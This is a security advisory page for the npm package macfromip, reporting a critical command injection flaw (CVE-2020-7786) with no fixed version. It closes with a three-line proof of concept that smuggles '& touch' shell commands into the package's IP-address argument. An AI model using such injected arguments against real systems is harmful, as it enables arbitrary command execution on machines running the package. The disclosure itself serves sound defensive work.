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Command Injection Affecting macfromip package, versions *

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.94% (83rd percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-MACFROMIP-1048336
  • published 9 Feb 2021
  • disclosed 4 Dec 2020
  • credit JHU System Security Lab
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Introduced: 4 Dec 2020

CVE-2020-7786 Open this link in a new tab
CWE-78 Open this link in a new tab
First added by Snyk

How to fix?

There is no fixed version for macfromip.

Overview

macfromip is a module that gets a MAC address from a LAN IP address

Affected versions of this package are vulnerable to Command Injection. The injection points are located in lines 66 and 96 in macfromip.js.

PoC

var a = require("macfromip");
a.getMacInLinux("& touch JHU", function(){});
a.getMacInWin32("& touch JHU2 &", function(){});

References